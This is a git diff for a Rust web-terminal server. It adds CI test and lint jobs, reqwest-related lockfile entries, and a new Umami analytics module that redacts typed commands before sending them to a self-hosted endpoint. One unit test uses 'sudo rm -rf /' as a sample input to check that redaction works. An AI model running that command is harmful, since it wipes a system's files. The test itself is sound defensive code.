diff --git a/.gitea/workflows/build-and-deploy.yaml b/.gitea/workflows/build-and-deploy.yaml index 5606fe5..9cb41ee 100644 --- a/.gitea/workflows/build-and-deploy.yaml +++ b/.gitea/workflows/build-and-deploy.yaml @@ -15,7 +15,38 @@ env: IMAGE_NAME: jason/socktop-webterm jobs: + test: + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Rust toolchain + uses: actions-rust-lang/setup-rust-toolchain@v1 + + - name: Run tests + run: cargo test --all-targets --all-features + + lint: + needs: test + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Rust toolchain + uses: actions-rust-lang/setup-rust-toolchain@v1 + with: + components: rustfmt, clippy + + - name: Cargo fmt + run: cargo fmt --all -- --check + + - name: Clippy + run: cargo clippy --all-targets --all-features -- -D warnings + build-and-push: + needs: lint runs-on: ubuntu-latest outputs: version: ${{ steps.get_version.outputs.version }} diff --git a/Cargo.lock b/Cargo.lock index cb6cbca..ee9d954 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -77,7 +77,7 @@ dependencies = [ "actix-rt", "actix-service", "actix-utils", - "base64", + "base64 0.22.1", "bitflags 2.10.0", "brotli", "bytes", @@ -355,6 +355,12 @@ version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + [[package]] name = "base64" version = "0.22.1" @@ -403,6 +409,12 @@ dependencies = [ "alloc-stdlib", ] +[[package]] +name = "bumpalo" +version = "3.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43" + [[package]] name = "bytes" version = "1.11.0" @@ -499,6 +511,22 @@ dependencies = [ "version_check 0.9.5", ] +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + [[package]] name = "cpufeatures" version = "0.2.17" @@ -703,6 +731,22 @@ version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + [[package]] name = "filedescriptor" version = "0.8.3" @@ -742,6 +786,21 @@ version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + [[package]] name = "form_urlencoded" version = "1.2.2" @@ -920,6 +979,17 @@ dependencies = [ "itoa", ] +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + [[package]] name = "http-range" version = "0.1.5" @@ -938,6 +1008,43 @@ version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" +[[package]] +name = "hyper" +version = "0.14.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2 0.5.10", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + [[package]] name = "icu_collections" version = "2.1.1" @@ -1071,6 +1178,12 @@ dependencies = [ "libc", ] +[[package]] +name = "ipnet" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130" + [[package]] name = "is_terminal_polyfill" version = "1.70.2" @@ -1117,6 +1230,16 @@ dependencies = [ "libc", ] +[[package]] +name = "js-sys" +version = "0.3.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "464a3709c7f55f1f721e5389aa6ea4e3bc6aba669353300af094b29ffbdde1d8" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + [[package]] name = "language-tags" version = "0.3.2" @@ -1135,6 +1258,12 @@ version = "0.2.177" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976" +[[package]] +name = "linux-raw-sys" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039" + [[package]] name = "litemap" version = "0.8.1" @@ -1190,12 +1319,9 @@ dependencies = [ [[package]] name = "mime" -version = "0.3.13" +version = "0.3.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3e27ca21f40a310bd06d9031785f4801710d566c184a6e15bad4f1d9b65f9425" -dependencies = [ - "unicase", -] +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" [[package]] name = "mime_guess" @@ -1229,6 +1355,23 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "native-tls" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + [[package]] name = "nix" version = "0.25.1" @@ -1276,6 +1419,50 @@ version = "1.70.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" +[[package]] +name = "openssl" +version = "0.10.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08838db121398ad17ab8531ce9de97b244589089e290a384c900cb9ff7434328" +dependencies = [ + "bitflags 2.10.0", + "cfg-if 1.0.4", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-sys" +version = "0.9.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82cab2d520aa75e3c58898289429321eb788c3106963d0dc886ec7a5f4adc321" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + [[package]] name = "parking_lot" version = "0.12.5" @@ -1399,7 +1586,7 @@ dependencies = [ "shared_library", "shell-words", "winapi", - "winreg", + "winreg 0.10.1", ] [[package]] @@ -1523,18 +1710,118 @@ version = "0.8.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7a2d987857b319362043e95f5353c0535c1f58eec5336fdfcf626430af7def58" +[[package]] +name = "reqwest" +version = "0.11.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd67538700a17451e7cba03ac727fb961abb7607553461627b97de0b89cf4a62" +dependencies = [ + "base64 0.21.7", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-tls", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "system-configuration", + "tokio", + "tokio-native-tls", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "winreg 0.50.0", +] + +[[package]] +name = "rustix" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd15f8a2c5551a84d56efdc1cd049089e409ac19a3072d5037a17fd70719ff3e" +dependencies = [ + "bitflags 2.10.0", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64 0.21.7", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + [[package]] name = "ryu" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c92464b447c0ee8c4fb3824ecc8383b81717b9f1e74ba2e72540aef7b9f82997" +[[package]] +name = "schannel" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891d81b926048e76efe18581bf793546b4c0eaf8448d72be8de2bbee5fd166e1" +dependencies = [ + "windows-sys 0.61.2", +] + [[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags 2.10.0", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc1f0cbffaac4852523ce30d8bd3c5cdc873501d96ff467ca09b6767bb8cd5c0" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "serde" version = "1.0.228" @@ -1746,6 +2033,12 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + [[package]] name = "synstructure" version = "0.13.2" @@ -1757,6 +2050,40 @@ dependencies = [ "syn", ] +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tempfile" +version = "3.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d31c77bdf42a745371d260a26ca7163f1e0924b64afa0b688e61b5a9fa02f16" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + [[package]] name = "termios" version = "0.2.2" @@ -1875,6 +2202,16 @@ dependencies = [ "syn", ] +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + [[package]] name = "tokio-util" version = "0.7.17" @@ -1888,6 +2225,12 @@ dependencies = [ "tokio", ] +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + [[package]] name = "tracing" version = "0.1.43" @@ -1920,6 +2263,12 @@ dependencies = [ "once_cell", ] +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + [[package]] name = "typenum" version = "1.19.0" @@ -1932,6 +2281,18 @@ version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2896d95c02a80c6d6a5d6e953d479f5ddf2dfdb6a244441010e373ac0fb88971" +[[package]] +name = "umami_metrics" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbc9ec451bb0504e32cafb076fe46e0126c70ad167846e3de02f0a2bbebc6839" +dependencies = [ + "anyhow", + "reqwest", + "serde", + "serde_json", +] + [[package]] name = "unicase" version = "2.4.0" @@ -1983,6 +2344,12 @@ version = "0.15.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c" +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + [[package]] name = "version_check" version = "0.1.5" @@ -1995,6 +2362,15 @@ version = "0.9.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + [[package]] name = "wasi" version = "0.11.1+wasi-snapshot-preview1" @@ -2010,6 +2386,74 @@ dependencies = [ "wit-bindgen", ] +[[package]] +name = "wasm-bindgen" +version = "0.2.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d759f433fa64a2d763d1340820e46e111a7a5ab75f993d1852d70b03dbb80fd" +dependencies = [ + "cfg-if 1.0.4", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "836d9622d604feee9e5de25ac10e3ea5f2d65b41eac0d9ce72eb5deae707ce7c" +dependencies = [ + "cfg-if 1.0.4", + "js-sys", + "once_cell", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48cb0d2638f8baedbc542ed444afc0644a29166f1595371af4fecf8ce1e7eeb3" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cefb59d5cd5f92d9dcf80e4683949f15ca4b511f4ac0a6e14d4e1ac60c6ecd40" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbc538057e648b67f72a982e708d485b2efa771e1ac05fec311f9f63e5800db4" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b32828d774c412041098d182a8b38b16ea816958e07cf40eec2bc080ae137ac" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + [[package]] name = "webterm" version = "0.3.0" @@ -2019,6 +2463,7 @@ dependencies = [ "actix-rt", "actix-web", "actix-web-actors", + "anyhow", "bytes", "clap", "env_logger", @@ -2027,10 +2472,12 @@ dependencies = [ "libc", "log", "portable-pty", + "reqwest", "serde", "serde_json", "tokio", "tokio-util", + "umami_metrics", ] [[package]] @@ -2061,6 +2508,15 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + [[package]] name = "windows-sys" version = "0.52.0" @@ -2088,6 +2544,21 @@ dependencies = [ "windows-link", ] +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + [[package]] name = "windows-targets" version = "0.52.6" @@ -2121,6 +2592,12 @@ dependencies = [ "windows_x86_64_msvc 0.53.1", ] +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + [[package]] name = "windows_aarch64_gnullvm" version = "0.52.6" @@ -2133,6 +2610,12 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + [[package]] name = "windows_aarch64_msvc" version = "0.52.6" @@ -2145,6 +2628,12 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + [[package]] name = "windows_i686_gnu" version = "0.52.6" @@ -2169,6 +2658,12 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + [[package]] name = "windows_i686_msvc" version = "0.52.6" @@ -2181,6 +2676,12 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + [[package]] name = "windows_x86_64_gnu" version = "0.52.6" @@ -2193,6 +2694,12 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + [[package]] name = "windows_x86_64_gnullvm" version = "0.52.6" @@ -2205,6 +2712,12 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + [[package]] name = "windows_x86_64_msvc" version = "0.52.6" @@ -2226,6 +2739,16 @@ dependencies = [ "winapi", ] +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if 1.0.4", + "windows-sys 0.48.0", +] + [[package]] name = "wit-bindgen" version = "0.46.0" diff --git a/Cargo.toml b/Cargo.toml index f18d426..fcc770b 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -29,6 +29,9 @@ bytes = "1.9" log = "0.4" env_logger = "0.11" libc = "0.2" +umami_metrics = "0.1.0" +reqwest = { version = "0.11", features = ["json"] } +anyhow = "1.0" [lib] name = "webterm" diff --git a/README.md b/README.md index 72d3d3c..9917198 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,8 @@ This is a modern web terminal server that provides browser-based terminal access - Full-featured terminal emulation via xterm.js - WebSocket-based communication using the Terminado protocol - High-performance Rust backend +- Privacy-focused analytics with Umami (self-hosted) +- Command sanitization for security and privacy - Zero-downtime rolling deployments via CI/CD - Containerized deployment with Docker - Kubernetes/k3s ready with automated deployments diff --git a/src/analytics.rs b/src/analytics.rs new file mode 100644 index 0000000..e56644f --- /dev/null +++ b/src/analytics.rs @@ -0,0 +1,287 @@ +// Copyright (c) 2024 Jason Witty . +// All rights reserved. +// +// Umami analytics integration for tracking terminal events + +use anyhow::Result; +use std::sync::Arc; +use tokio::sync::Mutex; +use umami_metrics::Umami; + +/// Umami analytics tracker +pub struct Analytics { + client: Arc>>, + enabled: bool, +} + +impl Analytics { + /// Create a new Analytics instance + /// + /// # Arguments + /// * `website_id` - The Umami website ID + /// * `endpoint` - The Umami instance endpoint (e.g., "http://unami.wittyoneoff.com") + pub fn new(website_id: String, endpoint: String) -> Self { + let client = Umami::new(website_id, endpoint); + + Self { + client: Arc::new(Mutex::new(Some(client))), + enabled: true, + } + } + + /// Create a disabled Analytics instance (no-op) + pub fn disabled() -> Self { + Self { + client: Arc::new(Mutex::new(None)), + enabled: false, + } + } + + /// Track a terminal command event + /// + /// # Arguments + /// * `command` - The command that was typed (will be sanitized) + /// * `user_agent` - Optional user agent string + pub async fn track_command(&self, command: &str, user_agent: Option) -> Result<()> { + if !self.enabled { + return Ok(()); + } + + let client = self.client.lock().await; + + if let Some(umami) = client.as_ref() { + // Sanitize the command for analytics + let sanitized_command = sanitize_command(command); + + let ua = user_agent.unwrap_or_else(|| "unknown".to_string()); + + // Track as an event + match umami + .event( + "/terminal".to_string(), + "command_typed".to_string(), + ua, + "unknown".to_string(), // hostname + "unknown".to_string(), // language + sanitized_command, // event_data (the command) + ) + .await + { + Ok(_) => log::debug!("Tracked command event"), + Err(e) => log::warn!("Failed to track command event: {:?}", e), + } + } + + Ok(()) + } + + /// Track a page view + /// + /// # Arguments + /// * `path` - The page path + /// * `user_agent` - Optional user agent string + pub async fn track_pageview(&self, path: &str, user_agent: Option) -> Result<()> { + if !self.enabled { + return Ok(()); + } + + let client = self.client.lock().await; + + if let Some(umami) = client.as_ref() { + let ua = user_agent.unwrap_or_else(|| "unknown".to_string()); + + match umami + .pageview( + path.to_string(), + "pageview".to_string(), + ua, + "unknown".to_string(), // hostname + "unknown".to_string(), // language + ) + .await + { + Ok(_) => log::debug!("Tracked pageview: {}", path), + Err(e) => log::warn!("Failed to track pageview: {:?}", e), + } + } + + Ok(()) + } + + /// Track a terminal session start + pub async fn track_session_start(&self, user_agent: Option) -> Result<()> { + if !self.enabled { + return Ok(()); + } + + let client = self.client.lock().await; + + if let Some(umami) = client.as_ref() { + let ua = user_agent.unwrap_or_else(|| "unknown".to_string()); + + match umami + .event( + "/terminal".to_string(), + "session_start".to_string(), + ua, + "unknown".to_string(), + "unknown".to_string(), + "terminal_session".to_string(), + ) + .await + { + Ok(_) => log::debug!("Tracked session start"), + Err(e) => log::warn!("Failed to track session start: {:?}", e), + } + } + + Ok(()) + } + + /// Track a terminal session end + pub async fn track_session_end(&self, user_agent: Option) -> Result<()> { + if !self.enabled { + return Ok(()); + } + + let client = self.client.lock().await; + + if let Some(umami) = client.as_ref() { + let ua = user_agent.unwrap_or_else(|| "unknown".to_string()); + + match umami + .event( + "/terminal".to_string(), + "session_end".to_string(), + ua, + "unknown".to_string(), + "unknown".to_string(), + "terminal_session".to_string(), + ) + .await + { + Ok(_) => log::debug!("Tracked session end"), + Err(e) => log::warn!("Failed to track session end: {:?}", e), + } + } + + Ok(()) + } +} + +impl Clone for Analytics { + fn clone(&self) -> Self { + Self { + client: Arc::clone(&self.client), + enabled: self.enabled, + } + } +} + +/// Sanitize a command for analytics tracking +/// +/// This removes potentially sensitive information like: +/// - Passwords in commands (e.g., mysql -p password) +/// - URLs with credentials +/// - SSH keys +/// - File paths (replaced with generic placeholders) +/// +/// Returns a sanitized version of the command safe for analytics +fn sanitize_command(command: &str) -> String { + let trimmed = command.trim(); + + // If empty, return as-is + if trimmed.is_empty() { + return "empty".to_string(); + } + + // Split into words + let words: Vec<&str> = trimmed.split_whitespace().collect(); + + if words.is_empty() { + return "empty".to_string(); + } + + // Get the base command (first word) + let base_cmd = words[0]; + + // For sensitive commands, only track the command name + let sensitive_commands = [ + "ssh", "scp", "sftp", "rsync", "mysql", "psql", "mongo", "curl", "wget", "git", "docker", + "kubectl", "aws", "gcloud", "sudo", "su", "passwd", "chpasswd", "openssl", "gpg", + ]; + + if sensitive_commands.iter().any(|&cmd| base_cmd.contains(cmd)) { + return format!("{} [REDACTED]", base_cmd); + } + + // For common safe commands, keep the command and count of args + let safe_commands = [ + "ls", "cd", "pwd", "cat", "less", "more", "head", "tail", "echo", "grep", "find", "which", + "whoami", "date", "cal", "clear", "exit", "history", "man", "help", "top", "htop", "ps", + "kill", "df", "du", "free", "uptime", "uname", + ]; + + if safe_commands.contains(&base_cmd) { + if words.len() > 1 { + return format!("{} +{} args", base_cmd, words.len() - 1); + } else { + return base_cmd.to_string(); + } + } + + // For other commands, just return the base command + base_cmd.to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_sanitize_empty() { + assert_eq!(sanitize_command(""), "empty"); + assert_eq!(sanitize_command(" "), "empty"); + } + + #[test] + fn test_sanitize_safe_commands() { + assert_eq!(sanitize_command("ls"), "ls"); + assert_eq!(sanitize_command("ls -la"), "ls +1 args"); + assert_eq!(sanitize_command("cd /tmp"), "cd +1 args"); + assert_eq!(sanitize_command("pwd"), "pwd"); + } + + #[test] + fn test_sanitize_sensitive_commands() { + assert_eq!(sanitize_command("ssh user@host"), "ssh [REDACTED]"); + assert_eq!( + sanitize_command("mysql -u root -p password"), + "mysql [REDACTED]" + ); + assert_eq!( + sanitize_command("curl https://api.com/secret"), + "curl [REDACTED]" + ); + assert_eq!(sanitize_command("sudo rm -rf /"), "sudo [REDACTED]"); + } + + #[test] + fn test_sanitize_unknown_commands() { + assert_eq!(sanitize_command("customcmd arg1 arg2"), "customcmd"); + assert_eq!(sanitize_command("./script.sh"), "./script.sh"); + } + + #[test] + fn test_analytics_disabled() { + let analytics = Analytics::disabled(); + assert!(!analytics.enabled); + } + + #[tokio::test] + async fn test_track_command_disabled() { + let analytics = Analytics::disabled(); + let result = analytics.track_command("ls -la", None).await; + assert!(result.is_ok()); + } +} diff --git a/src/lib.rs b/src/lib.rs index 34b27c4..7a82673 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -47,16 +47,24 @@ const CLIENT_TIMEOUT: Duration = Duration::from_secs(10); const IDLE_TIMEOUT: Duration = Duration::from_secs(300); // 5 minutes const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds -mod event; -mod terminado; +pub mod analytics; +pub mod event; +pub mod security; +pub mod terminado; use event::{ChildDied, TerminadoMessage, IO}; +// Re-export for public API +pub use analytics::Analytics; +pub use security::{validate_command, validate_env_value, ValidationError}; +pub use terminado::ParseError; + /// Actix WebSocket 